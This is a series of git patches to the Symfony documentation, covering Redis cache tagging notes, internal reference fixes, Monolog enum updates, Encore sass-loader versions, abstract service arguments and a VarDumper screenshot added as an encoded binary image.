index a7530e6d3f0..6f74b53dc63 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -220,19 +220,8 @@ Available Options
 
 .. _redis-tag-aware-adapter:
 
-Working with Tags
------------------
-
-In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but when Redis is used as backend, it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag invalidation logic is implemented in Redis itself, this adapter offers better performance when using tag-based invalidation::
-
-    use Symfony\Component\Cache\Adapter\RedisAdapter;
-    use Symfony\Component\Cache\Adapter\RedisTagAwareAdapter;
-
-    $client = RedisAdapter::createConnection('redis://localhost');
-    $cache = new RedisTagAwareAdapter($client);
-
 Configuring Redis
-~~~~~~~~~~~~~~~~~
+-----------------
 
 When using Redis as cache, you should configure the ``maxmemory`` and ``maxmemory-policy``
 settings. By setting ``maxmemory``, you limit how much memory Redis is allowed to consume.
@@ -247,6 +236,21 @@ try to add data when no memory is available. An example setting could look as fo
     maxmemory 100mb
     maxmemory-policy allkeys-lru
 
+Working with Tags
+-----------------
+
+In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but when Redis is used as backend, it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag invalidation logic is implemented in Redis itself, this adapter offers better performance when using tag-based invalidation::
+
+    use Symfony\Component\Cache\Adapter\RedisAdapter;
+    use Symfony\Component\Cache\Adapter\RedisTagAwareAdapter;
+
+    $client = RedisAdapter::createConnection('redis://localhost');
+    $cache = new RedisTagAwareAdapter($client);
+
+.. note::
+
+    When using RedisTagAwareAdapter, in order to maintain relationships between tags and cache items, you have to use either ``noeviction`` or ``volatile-*`` in the Redis ``maxmemory-policy`` eviction policy.
+
 Read more about this topic in the official `Redis LRU Cache Documentation`_.
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From 6504d352f92f3b8755e66daddbaa52f309c44ce7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Jul 2023 09:27:51 +0200
Subject: [PATCH 3572/5766] Minor tweaks

---
 components/cache/adapters/redis_adapter.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 6f74b53dc63..bd8314a231e 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -239,7 +239,12 @@ try to add data when no memory is available. An example setting could look as fo
 Working with Tags
 -----------------
 
-In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but when Redis is used as backend, it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag invalidation logic is implemented in Redis itself, this adapter offers better performance when using tag-based invalidation::
+In order to use tag-based invalidation, you can wrap your adapter in
+:class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`. However, when Redis
+is used as backend, it's often more interesting to use the dedicated
+:class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag
+invalidation logic is implemented in Redis itself, this adapter offers better
+performance when using tag-based invalidation::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
     use Symfony\Component\Cache\Adapter\RedisTagAwareAdapter;
@@ -249,7 +254,9 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
 
 .. note::
 
-    When using RedisTagAwareAdapter, in order to maintain relationships between tags and cache items, you have to use either ``noeviction`` or ``volatile-*`` in the Redis ``maxmemory-policy`` eviction policy.
+    When using RedisTagAwareAdapter, in order to maintain relationships between
+    tags and cache items, you have to use either ``noeviction`` or ``volatile-*``
+    in the Redis ``maxmemory-policy`` eviction policy.
 
 Read more about this topic in the official `Redis LRU Cache Documentation`_.
 

From e3edb9c2c821de2958d61d7b96eac0cc622e5c82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Jul 2023 09:53:14 +0200
Subject: [PATCH 3573/5766] Fix some internal references

---
 components/cache/cache_pools.rst      | 4 ++--
 doctrine/multiple_entity_managers.rst | 2 +-
 http_client.rst                       | 2 +-
 reference/configuration/framework.rst | 2 --
 4 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index 8d05cd268d5..ac7cf945429 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -163,7 +163,7 @@ when all items are successfully deleted)::
 
     If the cache component is used inside a Symfony application, you can remove
     items from cache pools using the following commands (which reside within
-    the :ref:`framework bundle <framework-bundle-configuration>`):
+    the :doc:`framework bundle </reference/configuration/framework>`):
 
     To remove *one specific item* from the *given pool*:
 
@@ -242,7 +242,7 @@ silently ignored)::
 
     If the cache component is used inside a Symfony application, you can prune
     *all items* from *all pools* using the following command (which resides within
-    the :ref:`framework bundle <framework-bundle-configuration>`):
+    the :doc:`framework bundle </reference/configuration/framework>`):
 
     .. code-block:: terminal
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 081239bcd9f..34a33b22cac 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -222,7 +222,7 @@ the default entity manager (i.e. ``default``) is returned::
     }
 
 Entity managers also benefit from :ref:`autowiring aliases <service-autowiring-alias>`
-when the :ref:`framework bundle <framework-bundle-configuration>` is used. For
+when the :doc:`framework bundle </reference/configuration/framework>` is used. For
 example, to inject the ``customer`` entity manager, type-hint your method with
 ``EntityManagerInterface $customerEntityManager``.
 
diff --git a/http_client.rst b/http_client.rst
index d63648b40cb..399199f0557 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1396,7 +1396,7 @@ The component is interoperable with four different abstractions for HTTP
 clients: `Symfony Contracts`_, `PSR-18`_, `HTTPlug`_ v1/v2 and native PHP streams.
 If your application uses libraries that need any of them, the component is compatible
 with all of them. They also benefit from :ref:`autowiring aliases <service-autowiring-alias>`
-when the :ref:`framework bundle <framework-bundle-configuration>` is used.
+when the :doc:`framework bundle </reference/configuration/framework>` is used.
 
 If you are writing or maintaining a library that makes HTTP requests, you can
 decouple it from any specific HTTP client implementations by coding against
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e3b37df3f13..824e30d9f63 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1,5 +1,3 @@
-.. _framework-bundle-configuration:
-
 Framework Configuration Reference (FrameworkBundle)
 ===================================================
 

From 1b6d724554fd963ba1a38fccb4f2ee7b8c888654 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 28 Jul 2023 10:39:49 +0200
Subject: [PATCH 3574/5766] [MonologBridge] Remove support for monolog < 3.0

---
 logging/handlers.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index d44e3ab18a3..47bfb0f2aee 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -32,7 +32,7 @@ To use it, declare it as a service:
                     $endpoint: "http://127.0.0.1:9200"
                     $index: "monolog"
                     $client: null
-                    $level: !php/const Monolog\Logger::DEBUG
+                    $level: !php/enum Monolog\Level::Debug
                     $bubble: true
                     $elasticsearchVersion: '1.0.0'
 
@@ -56,7 +56,7 @@ To use it, declare it as a service:
                     <argument key="endpoint">http://127.0.0.1:9200</argument>
                     <argument key="index">monolog</argument>
                     <argument key="client"/>
-                    <argument key="level" type="constant">Monolog\Logger::DEBUG</argument>
+                    <argument key="level" type="enum">Monolog\Level::Debug</argument>
                     <argument key="bubble">true</argument>
                     <argument key="elasticsearchVersion">1.0.0</argument>
                 </service>
@@ -66,7 +66,7 @@ To use it, declare it as a service:
     .. code-block:: php
 
         // config/services.php
-        use Monolog\Logger;
+        use Monolog\Level;
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
 
         $container->register(ElasticsearchLogstashHandler::class);
@@ -77,7 +77,7 @@ To use it, declare it as a service:
                 '$endpoint' => "http://127.0.0.1:9200",
                 '$index' => "monolog",
                 '$client' => null,
-                '$level' => Logger::DEBUG,
+                '$level' => Level::Debug,
                 '$bubble' => true,
                 '$elasticsearchVersion' => '1.0.0',
             )

From 01255340c950b96c4b35ae0cf4b83154b8580def Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 28 Jul 2023 11:49:12 +0200
Subject: [PATCH 3575/5766] fix syntax

---
 logging/handlers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 14a3a36518c..8e70b6a0861 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -73,14 +73,14 @@ To use it, declare it as a service:
 
         // optionally, configure the handler using the constructor arguments (shown values are default)
         $container->register(ElasticsearchLogstashHandler::class)
-            ->setArguments(
+            ->setArguments([
                 '$endpoint' => "http://127.0.0.1:9200",
                 '$index' => "monolog",
                 '$client' => null,
                 '$level' => Logger::DEBUG,
                 '$bubble' => true,
                 '$elasticsearchVersion' => '1.0.0',
-            )
+            ])
         ;
 
 .. versionadded:: 5.4

From 60ca23d862c3f9b4e5eb456d5626947f796fb684 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 29 Jul 2023 16:36:03 +0200
Subject: [PATCH 3576/5766] [FrameworkBundle] Simplify marking store
 configuration

---
 workflow.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 95aaa90f972..b97cb08c1c3 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -167,6 +167,11 @@ follows:
     ``'draft'`` or ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``
     instead of ``'to_review'``.
 
+.. versionadded:: 6.4
+
+    Since Symfony 6.4, the ``type`` option under ``marking_store`` can be
+    omitted when the ``property`` option is explicitly set.
+
 The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php

From 7c408b9e20724d319c27d9e2dd0ca09f3b2004bd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20CROMBEZ?=
 <777666+jcrombez@users.noreply.github.com>
Date: Sat, 29 Jul 2023 19:04:31 +0200
Subject: [PATCH 3577/5766] Webpack encore requires Sass v13 instead of v12

---
 frontend/encore/simple-example.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3c4ee28af55..6303419a09b 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -428,7 +428,7 @@ Encore. When you do, you'll see an error!
 .. code-block:: terminal
 
     >   Error: Install sass-loader & sass to use enableSassLoader()
-    >     yarn add sass-loader@^12.0.0 sass --dev
+    >     yarn add sass-loader@^13.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
@@ -436,11 +436,11 @@ you need a feature, Encore will tell you what you need to install. Run:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn add sass-loader@^12.0.0 sass --dev
+    $ yarn add sass-loader@^13.0.0 sass --dev
     $ yarn encore dev --watch
 
     # if you use the npm package manager
-    $ npm install sass-loader@^12.0.0 sass --save-dev
+    $ npm install sass-loader@^13.0.0 sass --save-dev
     $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See

From 783610c7b8c7fa641e19bb2433f4deea59df1540 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 29 Jul 2023 21:58:18 +0200
Subject: [PATCH 3578/5766] [DependencuInjection] Document abstract arguments

---
 service_container.rst | 66 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 66 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 5c33d16e069..a4abf4ce2f7 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -840,6 +840,72 @@ argument for *any* service defined in this file! You can bind arguments by name
 The ``bind`` config can also be applied to specific services or when loading many
 services at once (i.e. :ref:`service-psr4-loader`).
 
+Abstract service arguments
+--------------------------
+
+Sometimes, when defining services in your Symfony applications, there are arguments
+that can't be added in config files. The reason is that their values can only be
+calculated at runtime in a :doc:`compiler pass </service_container/compiler_passes>`
+or :doc:`bundle extension </bundles/extension>`.
+
+If value is not replaced a ``RuntimeException`` would be thrown.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Service\MyService:
+                arguments:
+                    $rootNamespace: !abstract 'should be defined by Pass'
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Service\MyService" class="App\Service\MyService">
+                    <argument key="$rootNamespace" type="abstract">should be defined by Pass</argument>
+                </service>
+
+                <!-- ... -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Service\MyService;
+        use Psr\Log\LoggerInterface;
+        use Symfony\Component\DependencyInjection\Definition;
+        use Symfony\Component\DependencyInjection\Reference;
+
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
+
+            $services->set(MyService::class)
+                ->arg('$rootNamespace', abstract_arg('should be defined by Pass'))
+            ;
+
+            // ...
+        };
+
+In this case, if you don't replace the value, ``RuntimeException`` will be thrown
+with message ``Argument "$rootNamespace" of service "App\Service\MyService" is
+abstract: should be defined by Pass.``
+
 .. _services-autowire:
 
 The autowire Option

From 546fc2f7b4e72f379e46bff52604aad7d355bc4d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 29 Jul 2023 22:14:24 +0200
Subject: [PATCH 3579/5766] Remove some unused use

---
 components/event_dispatcher.rst      | 2 --
 configuration.rst                    | 4 +---
 frontend/custom_version_strategy.rst | 1 -
 service_container.rst                | 3 ---
 4 files changed, 1 insertion(+), 9 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 1e281c084b0..cc4367f8723 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -182,7 +182,6 @@ determine which instance is passed.
 
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Component\DependencyInjection\ParameterBag\ParameterBag;
-        use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass;
         use Symfony\Component\EventDispatcher\EventDispatcher;
 
@@ -213,7 +212,6 @@ determine which instance is passed.
         use Symfony\Component\DependencyInjection\Compiler\PassConfig;
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Component\DependencyInjection\ParameterBag\ParameterBag;
-        use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\EventDispatcher\DependencyInjection\AddEventAliasesPass;
         use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass;
         use Symfony\Component\EventDispatcher\EventDispatcher;
diff --git a/configuration.rst b/configuration.rst
index 85a7a23db35..f201fab29fb 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -846,7 +846,7 @@ In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
     # config/services.yaml
     services:
         Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
-        
+
 Then, run the command:
 
 .. code-block:: terminal
@@ -1064,8 +1064,6 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\Controller\LuckyController;
-
         return static function (ContainerConfigurator $container) {
             $container->services()
                 ->defaults()
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index ae64738e2df..04a2d45f245 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -139,7 +139,6 @@ After creating the strategy PHP class, register it as a Symfony service.
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
-        use Symfony\Component\DependencyInjection\Definition;
 
         return function(ContainerConfigurator $container) {
             $services = $container->services();
diff --git a/service_container.rst b/service_container.rst
index 5c33d16e069..3f55a05d643 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -803,10 +803,7 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\Controller\LuckyController;
         use Psr\Log\LoggerInterface;
-        use Symfony\Component\DependencyInjection\Definition;
-        use Symfony\Component\DependencyInjection\Reference;
 
         return function(ContainerConfigurator $container) {
             $services = $container->services()

From d56acaf803e537bd15c078e06494ef237a4c6631 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 30 Jul 2023 15:59:42 +0200
Subject: [PATCH 3580/5766] [VarDumper] Display uninitialized vars info

---
 .../var_dumper/10-uninitialized.png           | Bin 0 -> 14749 bytes
 components/var_dumper.rst                     |  18 ++++++++++++++++++
 2 files changed, 18 insertions(+)
 create mode 100644 _images/components/var_dumper/10-uninitialized.png

diff --git a/_images/components/var_dumper/10-uninitialized.png b/_images/components/var_dumper/10-uninitialized.png
new file mode 100644
index 0000000000000000000000000000000000000000..735731b83b549324a5c69096781d5345ed6907d5
GIT binary patch
literal 14749
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
